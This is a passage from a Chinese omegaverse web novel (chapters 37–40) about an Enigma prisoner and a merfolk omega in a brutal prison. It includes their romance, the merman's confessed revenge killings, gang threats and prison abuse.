在阳光的照耀下，刚刚像野兽一样的犯人们，此刻眼神呆滞地坐在草地上，似乎是因为阳光的明媚而驱散了心里的一丝阴暗。 但当圣路出现在操场上时，依然让所有人不约而同抬起视线。 眼看着气氛再次变得诡异而焦灼，就连同一个帮派内的犯人都开始互相盯视。 这时候，灰发帮的老大开口：“这个omega不能留，他必须死。” 黄发帮老大沉默地盯着omega，显然他心中有些不甘，但想到今天的情况，他竟然也同意了。 “我同意。” 两个帮派的老大，因为这个omega，第一次意见一致。 第37章 第三十七章 我要你闻。 操场上另一端的铁丝网, 一声轻响，圣路被什么力量撞进了狭小的清洁工具室里。 “你怎么会进来的？”沈继把人按在墙边。 圣路看着他，眼里有复杂的浓重的情绪, 忽然他眼里流出一滩泪水。 沈继惊讶道：“你怎么了？” 圣路双手想抱住他，但因为电子锁的限制，只能让他整个人钻进他怀里。 沈继连忙抱住他, 感觉到他的身体在颤抖。 “人鱼的孩子……那是人鱼新诞生的孩子……”他重复地说着这些话。 果然，又是因为人鱼，能牵动圣路情绪的，一直都只有人鱼。 沈继想起昨天圣路进监狱时，他脸上的神情, 那是一种麻木的绝望。 “人鱼的孩子怎么了？” 在一年前，圣路继承了已故父亲医生的职业，以人类的身份在社会中寻找关于人鱼的踪迹。 圣路虽谈不上善良，但对于人类, 对于普通人，他也听从父亲的教诲，秉承自己的职责。 在A国那片城镇里, 他找到了同伴，但这些同伴, 大部分是人鱼被贩卖后被迫与人类结合后，生下的后代。 他们已经被人类同质化，有的已经蜕化, 连尾巴和耳鳍都没有了。 但他们的生殖结构依然没有改变, 依然需要靠产蛋来生育后代。 然而，由于人鱼血脉的逐渐稀薄，这种后代有一定的畸形率, 被社会所排斥。 因此，某一段时间，也就是人鱼情热期结束后的十个月，圣路的诊所进入了人鱼待产的高发期。 “那些蛋孵出来的，大部分都是无法存活多久的畸形儿，不是人鱼，不是人类……” 圣路低垂着脑袋，头发挡住了他的表情，阳光里藏着无数尘埃从他银白的发丝上方飞过。 那些无法健康长大的孩子大部分被遗弃在圣路的诊所里。 那些孩子，最多的只活了六个月，就在圣路手中死亡。 “我爱他们，沈继，你明白吗？我说的爱，我是真的爱他们啊……” “我知道……”沈继知道，那时候，在教堂里，圣路看到那个叫索兰的孩子，他在他面前哭过。 那个时候，沈继就知道，这条一百多岁的人鱼，所拥有的情感比自己所想象的更加充沛，他的思想和内心敏感到极致。 在诊所那段时间，圣路的情绪接近崩溃，甚至比在实验城的时候还糟糕。 尽管如此，他依然没有逃避，没有放弃寻找幸存的人鱼。 那一天，诊所里来了一对年轻的男女，男人是人类，怀孕的女人是拥有人鱼血脉的第三代人鱼。 在圣路的诊所里，她的蛋孵出了一条正常的人鱼幼崽。 这个粉嫩的孩子有尾巴有耳鳍，同时拥有强大的人鱼基因。 这就像一束光一样，照亮了圣路长期阴霾的内心，这是人鱼族延续的希望，是命运恩赐人鱼族的希望。 圣路亲手抚养这个孩子四个月， 那四个月，是圣路一生中为数不多的快乐时光。 四个月后，这条正常的人鱼幼崽被亲生父母带走了。 圣路以为孩子会得到父母的精心照顾。 但这对父母从没有带孩子来诊所做过检查和疫苗。 后来，曾经那些遗弃孩子的父母也来诊所要求寻回自己的孩子。 这种现象越来越多。 这时候，圣路才得知，那条四个月的人鱼幼崽被他的人类父亲贩卖到D国，换取了一大把钱。 而后来所谓来寻找人鱼孩子的那些“父母”，只不过是想效仿罢了。 “他们在我这里找不到那些孩子，就以贩卖婴儿的罪名报警，把我逮捕。” 说到这里，圣路的情绪似乎已经稳定下来。 “那你杀了他们？”沈继道。 圣路坐在铁焊的椅子上，仰起头，任由阳光撒到他眼睛里，露出一个苍白透明的微笑：“是的，杀光了，警察连他们的骨头都找不到。” 沈继放心下来：“这才对。” “我亲手灭绝了一切，他们死掉了，可能永远都不会有新的人鱼诞生了。” 沈继俯下身，挡住了外面投在他脸上的阳光，圣路怔怔地看着他的脸靠近。 沈继亲了亲他的额头。 这是一个安慰吻。 圣路眨了眨眼：“是……是要做·爱吗？” “不是的，是安慰你。” “感觉真的有用，再来一次。” 沈继用双手扶住了他的脑袋，低头在他额头又亲了一口。 就在这时，一股精神力猛然袭向他后背，使他整个身体压向他。 圣路双手被锁在一定范围内，所以只能被动地被他揽住怀里。 沈继没有反抗，如果强硬地来，两个人的精神力碰在一起，就是两败俱伤。 圣路抬头吻上他脖颈，一点点热浪从他唇中涌出，声音满含病态的爱意：“太好了……太好了……早知道我就早点来了。” “一开始，我听说，沼泽监狱里来了一个年轻的Enigma。我想，试一试吧，反正也不太想活了，真的没想到会是你啊……是你啊……” 沈继感觉到那股精神力的强大，毫不怀疑，这家伙差点把他的背脊压断。 “你的精神力什么时候变得这么厉害？” “宝贝，我找了你整整一年呢……你只关心这个吗？”他轻轻地冷笑，眼中含着炽热的爱意。 在圣路的人生中，他和沈继已经分别一年了。 可在沈继眼里，他们前不久才刚刚见面，没有圣路那样急切的心情，所以，对于他的表现，圣路心中产生了落差。 人鱼的手心抚过他脸庞，带来冰凉的触感：“就算说是要来杀我，我也……一直等着你呢。” 他仰头一点点咬住他喉结，□□过他的下颌线。 沈继觉得脖子和耳朵一阵痒痒的。 圣路解开他的扣子，抬起眼眸看着他：“在人类的社会，我学了一点，怎么样？感觉很好吧。” “什么？学了什么？”沈继心里一沉。 “姿势，医疗部门派发下来的性保健手册，没事的时候我就看看。” 沈继笑了一下，抱住他的腰。 “不过，那些东西太无聊了，像老古董一样，太无聊了。” 一百多岁，你不是老古董吗？沈继想实话实说。 但是，他这样可爱，看起来会因为这句话伤心的。 他还是不说了。 “亲一下。”他说。 圣路怔怔地把自己的嘴巴凑过去，被沈继吻住了。 他们之前曾接吻，都是因为信息素的影响。 只有这一次，是纯粹的，单纯的想触碰对方而接吻。 圣路第一次享受到这种被Enigma拥抱，全身心投入的感觉。 他的心跳剧烈起伏，双手放置在他胸前，电子锁搁在两人心脏之间。 因为这点小事，而飘飘欲仙到差点窒息。 好爽，好舒服。 这种感觉，一定比做·爱还舒服。 就这样，绵长的吻结束的时候，圣路像撒娇一样，意犹未尽地咬住他的喉结。 这时候，一股淡淡的omega信息素飘了出来。 沈继反而停了下来，他想起了自己进监狱时的情景。 虽然以圣路的情况，别人想对他做什么都不够格了。但这监狱里的道道可太复杂了，现在的圣路怎么斗得过人类。 沈继不放心道：“进来的时候，狱警没给你打针吗？” 一说话，感觉他的喉结贴在自己唇上滑动着，圣路就更喜欢了：“嗯……” 连沈继说什么都没听，光是糊他脖子上一片口水。 沈继捏了一下他的尖耳朵：“你没打针吗？” 圣路被他捏了耳朵，回过神来，睁着意乱情迷的眼睛。 “打了，没有全部打完……他们说，omega如果完全没有信息素，就会影响发挥。” 是会影响他们赚钱吧。 omega的信息素只要一点就会挑起alpha的情·欲。 如果大家都打了封闭药剂的情况下，那么情况会得到缓解。 可现在，圣路的药剂没有完全注射。 饥渴的alpha为了这点信息素，只会源源不断地送钱给狱警们，请他们开绿灯。 而omega只会成为最可悲的牺牲品。 就算第三区已经是被政府放弃的监狱，他们也没有权利这样做。 “不要释放信息素了。”沈继提醒他，这样会引来alpha的。 “可是我要你闻。”他声音很嚣张。 戴着电子锁的双手穿过他的脑袋，套在他肩膀上，亲密地揽住他。 他好像还是第一次见他这样撒娇。 沈继凑近他，按了按他后脑勺的头发，把垂在地上的发尾绕在自己手臂上。 感觉他的呼吸就在自己脖颈边上，好像在闻自己的信息素，意识到这点，圣路的心颤抖起来。 第38章 第三十八章 很像偷情。 砰砰砰！门外传来激烈的敲打声：“谁在里面！马上出来！不知道工具室不能进来吗？” 这突如其来的声音直接把旖旎的气氛给破坏得一干二净。 沈继的声音在圣路耳边带着安慰的性质：“快出去吧。” 圣路的眼神有一瞬间泛起阴狠的冷光, 但随即像流水一样消失。 那狱警的话音刚落，就迫不及待地推开门，仿佛是急于要撞破什么桃色丑事的那种兴奋劲。 那声警告也只是给将要登场的好戏来个刺激的前奏罢了。 砰的一声, 门撞在墙上，屋子里只有各种杂乱的工具，和一张铁汁浇筑的椅子。 原本跟在后面打算看好戏的犯人们都冷冷地嗤了一声, 无聊地散开了。 空气中仅剩不多的一点信息素也被风吹散了。 狱警抬头看着高处打开的狭小窗户，感到莫名其妙。 工具室外，那扇老旧的窗户下。 omega热烈地亲吻Enigma的嘴唇，感受到从周围旷野传递到铁丝网后面的风，和唇上带来的柔软温暖, 心底生出一种隐秘而轻快的爽感。 圣路的心里飘摇着，像羽毛在心尖上左右摆动起来。 这个吻缠绵着结束了，这时候沈继说道：“这很像偷情。” 这话让圣路更加起劲了，原本已经收敛的吻又继续追了上去, 他深切地咬紧他下唇，双手因为无法张开，只好留在他后脑勺边上, 像戴着镣铐抱着他脑袋一样。 他的骨骼发育相当于人类中的二十多岁，是个完全成长起来的青年, 有干练爽快的臂膀和线条，尤其他的手也大。 沈继虽然高，但相比起圣路, 仍是一幅尚有发育空间的身体。 所以圣路的吻压在他身上时, 他的手压在他肩膀上时，颇有压迫感——大概是沈继第一次被人这么亲昵地对待——没有遇到过这样狂野又变态的家伙。 他激动起来，甚至差点咬破了沈继的嘴唇。 “我好喜欢这样……”他用那病态的声线说着, 用充满占有欲的对视打量他的眼眸。 哨声响起，集合的时间到了，大概是牢房已经清理好了。 如果不按时回去，会受到监狱的狠厉惩罚。 沈继不想节外生枝，分开前，本想让他申请调离第三区，但一对上圣路那双执拗的眼睛，就知道说出来只是浪费口舌。 回到集中营的时候，沙墨在路上忽然问他：“你和圣路的关系现在是什么样的？” 沙墨不是一个八卦的人，沈继道：“怎么了？” “我也是在操场的时候听到灰发帮的人说的，他们打算和黄发的家伙们一起对付圣路，如果你和他关系比较好的话，我们要不要帮他呢？” 毕竟上次，沈继都在实验城把人鱼救出来了。 “碰上圣路，那些家伙该自求多福吧。” 沙墨想起什么，一愣：“说的对哦。” 他显然也被圣路进来时那幅楚楚可怜的样子给迷惑了。 雷伊又走过来按住他肩膀：“不止，我觉得你现在麻烦也挺多的，你的室友西凯回来了。” “西凯？”沈继想起来了，之前在单间里被他塞到厕所的那个alpha室友。 他示意他看向前面，只见螺旋走廊上，一个强壮的高个子正用毕生最狠辣的眼神盯着他。 看起来是痊愈了。 雷伊啧啧两声：“西凯也是黄发帮里数一数二的人物啊。” 沈继笑了，表示不认同。 “嘿嘿，要不然我买通狱警，让他把你分到我们单间算了。再焊一张床，我们四个人挤一挤？”雷伊显得跃跃欲试。 劳埃斯他们三个也是通过贿赂狱警，才一直住在同个单间里。 “不用了。”沈继拒绝。 雷伊一双火眼金睛贱兮兮地看着他，意有所指：“哼哼，这是什么新款的吻痕？” 他忽然夸张地惊恐道：“你该不会真的被献祭给恶魔了吧……” 沈继抬头看向306号房。 圣路也在铁栏门边看着他，他坐在床单铺就的地上，头发像水流一样从铁栏的缝隙里洒出来。 裤子卷了一个很有分寸的精致折边，露出白皙的脚踝，把单调的裤子变得颇有格调。 沈继想，他大概也是在人类社会上学的这些。 他好像一直在看着他们，眼神中带着一点阴寒。 当沈继与他视线相对时，圣路又低下头，头发挡住他的脸，隐约露出一个病态的笑容。 雷伊像被触电一样，后知后觉地把手臂从沈继肩膀上收回来，僵硬得如同机器人：“等等，等等，好像误会了什么，我……我……” 沈继：”怎么了？” 雷伊看了一眼沈继的嘴角，意识到事情很不简单：“下次再说，再说。” 说完避之不及地跑了。 沈继看向圣路，那道幽怨的身影已经不在房间门口了。 不可能，难道是真的吃醋吗？ 还没走进牢房，沈继就听见了艾里夫痛苦的嚎声。 只见西凯一只手抓着艾里夫的头发，将他的头按进厕所坑里，口中骂骂咧咧。 一看到沈继进来，西凯似乎更加生气了，转而一拳打在艾里夫脑门上。 艾里夫口鼻流血，只好向沈继投去小心翼翼求救的眼神。 沈继没有看向艾里夫，他实际上不喜欢出风头，也不爱做些见义勇为的事情，但他知道西凯这么做只是为了发泄对自己的愤怒罢了，艾里夫只是个出气筒。 “你只会把怒气发泄在别人身上吗？” 西凯听见这话，放开艾里夫，咬着牙像是威胁：“我要他知道，在这个房间里，我才是真正的老大。” 沈继冷笑，到底是谁有兴趣做那些老大老二的事？ 艾里夫踉跄两步走到沈继身后。 “老大，我要加入你们帮。” 沈继：”什么？” “你和劳埃斯他们都是监狱里最厉害的人，我要加入你们。” “你错了，我们完全不是一类人。” 沈继知道自己根本不会在这久待，他没办法做艾里夫的保护伞，跟自己混得好，不会有好下场。 不如明确地划清界限。 西凯用力地嘲笑了艾里夫，露出得意的笑：“瞧瞧吧，没用的家伙，到哪里都是没用的。” 艾里夫顶着受伤的身体，洗干净了脸，窝窝囊囊地躺回床上。 第二天，天刚亮，集中营的犯人们又开始了单调的一天生活。 所有的犯人像蚂蚁一样被一个个机械钢钳运送到螺旋走廊上。 然后大家默契地拿着餐盘排着队，走到那个充斥面包甜味的餐厅。 “啊！沈继大人！”雷伊正想拍沈继的肩膀，忽然感到身后有什么东西使他毛骨悚然。 仿佛即将踩到一堆玻璃渣时，身体传来的那种警惕的直觉，使他及时收回了那只拍出去的手。 他不敢回头，只向旁边的劳埃斯颤颤巍巍地问道：“该不会圣路在后面吧？” 劳埃斯道：“是的，他正笑着看你呢。” 雷伊猛的寒颤了一下。 一声冷酷的呵斥猛然响起：“都给我快点！” 众人看过去，都感到一阵苦闷。 死亡队长来了。 只见多诺万脸上阴冷，手上带着他的警棍，在队伍上狠狠敲打着，今天竟然上岗了。 沈继看见他那半张微微凹陷的脸颊，强忍住了笑意。 他目光移动，走到沈继面前，阴狠的脸上，牵动褶皱的皮肤挤出一个恐怖的笑，带着熟悉的调调：“噢噢，乖狗狗，几天不见了。” 他伸出手，还想故技重施拍他的脸颊，沈继提前预判，但没有避开。 多诺万冷笑道：“听说这几天你很乖嘛。” 沈继只是微微一笑。 这时候，多诺万感觉自己的后背陡然一阵冷汗，背脊攀爬生理性的冷汗。 他阴恻恻地转过身，却在看清了什么后，表情一顿，眼神出现短暂的明亮，张开嘴表现出相当的惊愕：“……监狱里什么时候来了omega？” 旁边的狱警道：“队长，他是前天才送来的犯人。” 说完，仿佛在向多诺万邀功般，冲旁边的圣路道：“M0001，到这儿来。” 圣路犹疑而谨慎地走到他们身前，多诺万目光惊叹地看着这个omega，他下意识要伸手去碰他。 但就在这时，圣路躲到沈继身后，他在他后面，双手紧紧贴着沈继的后背，探出一双警惕而纯净的眼看着他。 这种眼神，没有一个alpha能拒绝。 沈继：“……”又开始了。 多诺万看着这一幕，脸颊的肌肉只是无所谓地抽了一下，故作高深。 他大概已经气到痉挛了。 但现在，不只是多诺万，整个第三区的犯人，几乎都在看着沈继。 旁边狱警向圣路介绍道：“这是第三区的一队队长，多诺万先生。” “请问……多诺万先生是好人吧？”圣路看向沈继。 沈继道：“当然，别的不知道，在整个第三区里，至少是中等吧。” 把狱警和犯人放在一起比。 沈继敢肯定，多诺万的心态差不多要炸了。 第39章 第三十九章 手感好好。 监狱的早餐十分单调, 一般就只有鸡蛋和一盒奶。 就这一点早餐，多诺万却不吝行使了他那苛刻而可笑的一点权利。 排队轮到沈继的时候，分发早餐的犯人拿出早就备好的通知：“这是多诺万队长亲自签的, 我们也不知道。” 沈继看了眼通知：【编号H2488蛋白过敏，厨房不需要准备其早餐。】 沈继确实有过蛋白过敏史，但这种过敏非常轻微, 几乎可以忽略不计。 何况早餐他都吃了好几天了，一点过敏反应都没有。 “无耻呀，多诺万那个家伙，有够无聊无耻的。”雷伊首先打抱不平，还推了自己的早餐给沈继：”沈继, 你吃我的。” 沈继拒绝道：“不用了。” “干嘛还……”雷伊还想拉住他，忽然之间，那种生理上尖锐的炸毛反应再次出现，手上鸡皮疙瘩骤起, 吓得他赶紧收回手。 雷伊警觉地动了动眼珠，看见玻璃窗上映出自己僵硬的脸，以及身后圣路那张病态的笑脸。！！ 什么时候站在自己后面的？这样看, 他的鼻子和自己的后脑勺只有五厘米的距离。 妈呀，好可怕啊。 其他人不知道, 雷伊可是未来人，见识过圣路各种“丰功伟绩”的变态杀人案例的。 昨天在活动室里，那几具被咬烂的尸体还历历在目呢, 那可全是大恶魔的杰作。 一只苍白的手按上他的肩膀, 雷伊差点没炸毛。 “小朋友，借过。”他在他耳朵后边说道。 那声音带着丝丝的寒气，仿佛冰柱直通他天灵盖, 寒了一个透心凉。 “抱……抱……抱歉……”一道惊恐的魂魄几乎就从他的头顶上飘出去了。 沈继按住他另一个肩膀，把即将逃逸的神魂塞进他脑袋：“你太夸张了吧。” 雷伊恢复一点神智：“……不，是你太淡定了吧。” 那天早上，风和日丽，沈继还是吃了鸡蛋和牛奶，是圣路给他的。 一个早上，所有人都在看着他们。 对沈继的哀怨和咒骂此起彼伏。 “你应该自己吃。”沈继道，如果目光有实体，他已经被扫射成筛子了。 “你还在长身体啊，宝贝。”圣路坐在他旁边，微微笑着，桌子下的手不安分。 “！”沈继猛然一惊。 他甚至还隔着布料揉了揉。 “……别这样好吧。”沈继低下头，黑线满天。 这有多少双眼睛在看着圣路。 圣路最爱看他这样了，眼中充满了爱惜，轻声细语：“这样才有偷情的感觉。” “变态。”沈继剥蛋壳的手一颤。 圣路的眼里浮现出淡淡的迷乱情愫，笑声越渐变态了：“嗯～变态觉得好爽……” 幸亏餐厅的桌子下面有个挡板，挡住了圣路的手。 他凑过去轻声道：“这样弄起来，手感好好啊……宝贝。” “……”沈继强忍着。 “等一会儿在活动室，我们偷偷亲一下吧，求你了，亲爱的。” 圣路故意用这种看似卑微实则挑逗的语气来撩拨他。 沈继默不作声地看了他一眼，示意他放手。 监狱的狱服材质本来就薄，他那只不安分的手还十分恶劣地挑逗，用指尖轻轻地揉捏柔软的部分。 哪个家伙受得了这样啊。 圣路眯起石榴红的眼睛，眼睛里只有他：“昨天你亲我的时候真的好棒……我绝对是上瘾了，昨天晚上……” 他的声音轻飘飘的，迷人地颤抖着。 沈继把牛奶的吸管塞到他口中，强制让他闭嘴。 圣路吸了一口牛奶：“啊……唔，是间接接吻。” “……” 众人只能看到沈继低着头面无表情的吃早餐，而omega却在他耳边柔声地说着什么。 “该死的家伙，这家伙怎么运气这么好？” “就因为他是Enigma？” “没办法，Enigma在omega眼里，就是香饽饽。” “真不公平……” “他时间也不多了。” “什么意思？” “灰发帮老大和咱们这边都准备弄他了，他活不了多久的。” “啧啧，好可惜，我还没尝到味道呢。” “哼，一个手无缚鸡之力的omega罢了，到时候玩死他。” 这些对话，劳埃斯几人都听得一清二楚。 雷伊不由得啧啧称奇，果然，无知让人无畏。 在他们眼里，那个手无缚鸡之力的omega，是个杀人不眨眼的大恶魔。 而多诺万则眼神凶狠地看着沈继，紧紧捏住了手中冰冷的电棍。 吃过早餐，就是一天中最为自由的活动时间。 犯人能在这片活动室自由地呆上半个小时。 虽然还是有狱警在旁边看管，但活动室场地很大，总能找到一点盲区。 他兴奋地迫不及待地，要找个地方和Enigma相拥亲吻，然而…… 圣路笑意中带着冰冷，目之所及，到处都是围着他转的alpha。 无论他走到哪里，哪里都是等着扑上来的alpha，眼中明晃晃不加掩饰地欲望。 一种生理性厌恶，叠加在心理厌恶上，圣路有时候甚至都不想装了。 他身体斜靠在墙边，四肢放松，眼神放空，像一只待宰的羔羊。 嘴角似笑非笑，谁要是踏上前一步，立刻就会陷进他的牢笼里。 有人跃跃欲试。 多诺万就在这时出现，几棍子打散了人群：“都聚在这里，一群狗屎！” 多诺万骄傲地陷入英雄救美的自我感动戏码。 站在远处的雷伊和劳埃斯吐槽：“呸！连beta都不放过的家伙，装什么正义使者。” 劳埃斯道：“不觉得这样很有趣吗？多诺万死掉，我们越狱的时候，阻碍会更小。” 沙墨后知后觉：“多诺万为什么会死掉？” “……得罪谁也不要得罪沈继，更不要得罪圣路。” 圣路空洞的目光涌现出欢喜，多诺万心里一跳，甚至做好迎接他向自己道谢的准备了。 然而圣路径直穿过他身旁，走向他身后的沈继。 多诺万再一次被无视了，他尴尬地转过身，看见圣路抓住沈继的手：“你来了……” 他亲昵地用脸颊蹭了蹭他的耳朵，按住他的肩膀，在他身后笑着：“再不来，我真的要大开杀戒了……” “别做那些事。”他不想引起太多人注意。 多诺万看着沈继，目光淬了毒一样，他猛然吼起来∶“所有人集合！” 犯人们无语地相互耸耸肩，聚集在一起。 “现在所有人到操场集合！” 这代表他们要开始对犯人体罚式站立了，每一个星期都会有一次体罚，是对犯人的惩戒。 活动时间提前结束了，众人怨恨地看着多诺万，同时心里埋怨起沈继。 认为是沈继把多诺万惹毛了，连累了他们，事实上确实也是这个关系。 沈继确定，多诺万的心态已经炸了。 这时候，多诺万走到他身边，阴狠地笑道：“别以为你这样就赢了，你们在我眼里都是狗，只要我想，我很快那能把那个omega搞到手玩死他，你想亲眼看看吗？” 他说完就离开。 沈继回头看着他，这是他第一次正眼追寻他的背影，以冷冽的目光。 所有人到了操场。 整整一个下午，他们都必须在平衡杆上保持平衡，否则就会受到更严重的惩罚制度。 体罚结束后，终于迎来第二顿饭，监狱里一天只有两餐。 第二餐就是晚餐。 早上那点东西根本不够消耗，犯人们早就饿的不行，这时候，就连圣路，都没人去在意了。 在餐厅的一角，圣路找机会把沈继拉进了旁边的洗手间。 关上那道小门，这种洗手间的门只有中间一块挡板，上下两端空白，因为过于开放，没有隐私，犯人们想干坏事，也大部分不到这儿来。 因此反而给了他们一个独处的机会。 圣路推着他，一边拉住他的手放在自己腰上，十分难耐：“沈继……快点……” 嘴巴还没说完，就惊喜地被他吻住了。 两个人紧贴在一起。 原本打算在活动室的吻一直忍到现在，就像一场暴雨烈云被长久地闷在轻柔的云朵里。 燥死了。 两个人相互掠夺，从唇齿上带来一场欢快的雨境窸窸窣窣地席卷过周身。 圣路忍不住闭上眼，脸上出现生理性地一场嫣红，呼吸微喘。 透明的丝线温柔地牵动在嘴角边缘。 圣路双手肆无忌惮地摸着他胸膛，感到他口袋里小颗的硬物。 是两颗糖果。 那位和蔼可亲，认为一切犯人都可以引回正道的老教师，之前在上课的时候，给了每人两颗糖果。 沈继不爱吃糖，不过他记得圣路有吃糖的习惯，所以还留在口袋里。 圣路被这五颜六色的糖果纸吸引了注意。 他在人类社会混了一年，在诊所度过大部分时间，却没见过这种糖果，其实只是市面上普通的糖果而已。 当他把整颗糖包括包装纸塞进嘴巴里的时候，沈继都惊了。 “快吐出来，不要说你是故意犯蠢的。” 圣路微微一笑，伸出舌头给他看，舌头上面一颗已经被剥开的红色糖果，微微晕染着他的舌头。 沈继讶然：“糖纸呢？” 圣路舌头抵住上颚，把舌头底下的糖纸吐了出来，像吐一朵彩色的花。 沈继觉得这真是神奇得不得了，他甚至觉得这一点，圣路完全可以称得上魔术师了。 他赞叹地笑道：“真厉害。” 在最意想不到的方面，被最意想不到的人称赞后，圣路完全脸红了。 其实，他想说，舌头除了剥糖纸厉害，还可以干别的。 但是，看着沈继这样的笑，现在他完全不想破坏这气氛。 第40章 第四十章 取悦神经。 在第三区的犯人有一个共同特点, 没有正规身份，没有可追溯的历史，他们大部分是从小孤独流浪长大, 或者被直接弃养，没有户籍的黑户。 这其中当然是alpha和beta居多。因为这两个性别在歌雅世界中是比例最高的，因此也就毫不受到人们怜惜。 而像Enigma和omega这样性别中的两个极端, 在社会中通常受到优待，不可能成为黑户，所以能到第三区，是个十分神奇的事。 这在很多事情上也带来了不便，比如淋浴这件事。 犯人们每周只有固定的三次淋浴时间。 alpha和beta各自在一间大型淋浴间, 所有人剥光了，在高密度的花洒下挤在一起，快速打湿身体，抹上肥皂搓洗。 淋浴只有十分钟, 时间一到，自动停水，动作慢一点的连泡沫都冲不干净。 沈继第一次看到这种景象, 才意识到自己确实是一个没有自由的犯人。 而多诺万经常在旁边恶趣味地看着他们，调侃他们是一条条香肠在蒸笼里翻滚。 除了腺体和信息素不同, Enigma和alpha的身体构造没什么区别，因此他被分到了alpha那一间。 淋浴的时候，总是有人盯着沈继看, 毕竟Enigma比例极低, 大部分人一辈子都接触不到。 现在，他们就跟看稀有动物一样打量他，在反复确定Enigma的身体与他们大体一致后, 眼神中继而露出了一种自命不凡的不屑。 “诶？你被分到alpha这边，那圣路怎么办？他在哪洗澡？难道要在beta那边吗？”雷伊看着沈继。 劳埃斯道：“你忘了，这里有单间的。” “我知道，可是沈继为什么跟我们在一块洗？” “单间淋浴需要多诺万的批准，你觉得他会给沈继单独一个浴间？” “恶毒老狗！”雷伊狠狠道。 此时多诺万就在门口边盯着他们。 在这种水花狂洒的嘈杂状况下，其实是个密谋的好时机。 雷伊一边狂抹肥皂，一边在哗啦啦的水花中向沈继喊道：“这附近的路线，其实我们都摸得差不多了，就是没有工具比较麻烦，找个机会，干倒狱警们，我们抢一架菲诺舰机，直接跑。” “菲诺机很容易被击落。“水花冲击在沈继身上。 他看见自己胸口上两个红红的指印，昨天在卫生间，圣路在他身上抓出来的。 其他还有几条浅淡一点的痕迹。 他拂过额头湿淋淋的黑发，眼眸黑漆漆的深不见底。 人鱼的力气本来就大，尤其在亲热的时候，爱在他身上到处乱摸，一激动手指就用劲掐。 眼看着他要皱眉，圣路就抱着他，明明知道他没有生气，但就是要用那种诚惶诚恐的腔调道歉：“啊～对不起宝贝，别生气，真的不是故意的……” 眼睛里泛着兴奋的颤抖的光泽，一点歉意都没有，反而是脸潮红着，特别享受的模样。 故意做出小心翼翼的卑微反差，实则就是试探底线，一步步要把他吞噬掉的样子。 道歉归道歉，一双手更是从没有停过在他身上肆意横行。 沈继有时候甚至能看到他眼底里一闪而过的变态光芒。 每当这个时候，沈继就有点想笑。 不知道是什么原因让他想笑，其实脑子里空空荡荡的，但有种神经上被取悦后得到舒展的感觉。 水花冲刷下来。 “我们算过了，再过两个月，就是第一颗陨石下来，到时候恐慌弥漫，犯人们情绪激动，一定会大闹监狱，这就是最好的机会。”劳埃斯在他右边。 “没错！到时候，所有人都以为世界末日了，谁还会管我们啊。”雷伊正打算拍一下沈继的肩膀，忽然心中一紧，警惕地左右望了望，确定圣路没有在，才放心下来。 冲水时间结束，众人意犹未尽地穿好衣服，滴水的头发只能用毛巾随手擦干。 多诺万用一贯居高临下的眼神看着他：“瞧瞧，我们的紫色狗狗洗得这么干净漂亮了。” 其他人配合的发出笑声。 雷伊急性子要上前理论，沈继拦住了他。 路过走廊的时候，传来两声惊呼，有人兴奋地喊道：“喔呼！又死人了！” 灰发帮的两个男人倒在单间门口，沈继看见他们脖子上汩汩流血，眼珠子突兀地瞪着，身上光秃秃还带着水珠。 “这两个急色的家伙刚刚冲进了淋浴单间，结果，没搞到omega，好家伙，反而自己失控了。” “看这伤口，他拿了刀片……” 沈继一看，两个人眼神涣散，带着刀片大概是准备杀死omega的，只是被人鱼迷幻了心智。 沈继走近那间淋浴单间，圣路正站在花洒下。 他只穿着一条裤子，上半身露出白皙的皮肤，湿润的银白发长长地贴在身上。 头顶上的吊灯一晃一晃的，灯光左右忽闪着穿过他视线，眼神中嗜杀的冷意若隐若现，平静极了。 这时候，多诺万已经到达现场，通知狱医来把人抬走。 圣路光着脚跑出来，惊慌失措地冲进沈继怀里。 他光洁裸·露的上半身引起了周围人的注意。 但好在长头发帮他挡住了背部，他把身体紧紧贴着沈继，唯唯诺诺地，瑟瑟发抖地“害怕”着。 沈继抱住他。 狱医们七手八脚地帮伤者止血。 “看这情况，估计活不了了。” “至少比上次被咬碎的家伙们好多了，还有个全尸。” “这些家伙疯了一样，总是自相残杀。” 灰发帮老大脸色阴沉，无法想通，两个身强力壮的alpha怎么会连一个omega都杀不死，反而中邪了一样。 两人还没送去抢救，就已经被确认死亡。多诺万狠狠地踢了一脚尸体。 无人看见的角落里，圣路的嘴角在Enigma的脖颈后勾起笑容。 这阵子，监狱里已经连续死了六个犯人，虽说是些没名没姓的“黑户”，不值得在意，但对于多诺万这个队长来说，难免逃脱不了上级的一顿责罚。 他将怨气全发泄在犯人身上，但对于沈继，他似乎是憋着一股劲，没有什么动作。 “编号H2488，有人举报你殴打虐待室友，跟我来。”狱警打开房门。 多诺万站在门口，手里拿着一对电子锁。 “在这里，你还想做什么反抗吗？” 他给他戴上电子锁，在他耳边说道：“我知道你的精神力很强，上次也是用精神力才把我打伤的吧？” 他从口袋里拿出一个黑色半弧形仪器：“这玩意还真贵，我是好不容易才申请了下来的。” 扒着铁栏门看热闹的犯人们吹了一声口哨：“是精神力控制仪……” 沈继回头看了一眼西凯，后者躺在床上，眼神得意。 “你在看什么？”多诺万抬起棍子敲向沈继的头。 沈继用手肘挡住了棍子，一道闷声响起，火辣辣的立刻肿起一片。 多诺万冷笑着：“等一会到了禁闭室，你就知道了。” 沈继久违地露出用一种怜悯的目光∶“你也会死的很快的。” 多诺万冷笑道：“有了精神力控制仪，我会怕你吗？” 圣路坐在牢房门口，看着沈继被带走。 雷伊几人在另一边看着：“沈继！” 沈继被关进了禁闭室，禁闭室黑暗不见天日，断食断水，没有床铺，犯人一天只有半瓶营养液吊着命。 听说关在这里的人大部分撑不过两个月就要疯。 第一天的时候，多诺万打开小窗口，露出他兴奋得意的眼神：“饿你几天之后，保准你就会发疯的向我求饶了。” 说完关上小窗口，留下一片黑暗。 沈继坐在地上，感到一种难得的宁静。 终于有个清净的地方让他可以睡个够了。 在集中营里，每天天不亮就要被吵醒起来吃早餐，白天还要长时间罚站和各种惩戒，闲暇时间还要被圣路拖进各种角落，弄得血脉偾张，精神亢奋。 久而久之，他睡眠严重不足。 于是，相比起多诺万即将报复的兴奋劲，沈继反而坐在禁闭室里无忧无虑地睡了一天一夜。 不知道是不是沈继的预言起了效果。 第二天，有人在卫生间发现了多诺万。 狱警是先从卫生间外流出的血发现的，进去的时候，多诺万已经倒在地上没了动静。 虽然送到了医院，但有没有抢救过来，谁也不知道。 禁闭室里，沈继大部分时间都在睡觉，没多久就被放了出来。 他猜测是雷伊他们贿赂了狱警。 因为出来之前，狱警还用高压水枪给他冲洗身体，为他准备了食物。 